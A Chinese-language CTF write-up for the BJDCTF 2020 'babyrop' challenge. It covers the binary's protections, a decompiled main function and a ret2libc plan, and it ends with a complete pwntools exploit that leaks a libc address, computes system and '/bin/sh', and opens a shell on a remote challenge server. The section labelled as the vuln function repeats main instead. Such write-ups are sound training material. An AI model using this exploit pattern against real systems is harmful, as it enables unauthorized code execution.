bjdctf 2020 babyrop

前提

查看文件保护

[*] '/root/pwn/buuctf/bjdctf_2020_babyrop/bjdctf_2020_babyrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  vuln();
  return 0;
}

vuln函数及函数表如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  vuln();
  return 0;
}

思路分析

1. 目前信息：

   • vuln函数内明显的栈溢出漏洞
   • No PIE
   • NX 保护开启
   • 无后门函数

2. 思路：

   • 本题是标准的ret2libc，应先泄漏libc及函数地址，再利用泄漏的信息构造payload,执行获取shell

exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/bjdctf_2020_babyrop/bjdctf_2020_babyrop'
io = remote('node4.buuoj.cn', 28461)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 0x24+4
libc_start_main_addr = elf.got['__libc_start_main']
puts_addr = elf.plt['puts']
vuln_addr = elf.symbols['vuln']
pop_rdi_ret = 0x400733
payload = flat(['a'*padding, pop_rdi_ret,libc_start_main_addr, puts_addr, vuln_addr])
io.sendlineafter('me u story!\n', payload)
leak_libc_start_main_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher('__libc_start_main', leak_libc_start_main_addr)
libcbase = leak_libc_start_main_addr-libc.dump('__libc_start_main')
system_addr = libcbase+libc.dump('system')
bin_sh_addr = libcbase+libc.dump('str_bin_sh')
payload = flat(['a'*padding, pop_rdi_ret, bin_sh_addr, system_addr])
io.sendlineafter('u story!\n', payload)
io.interactive()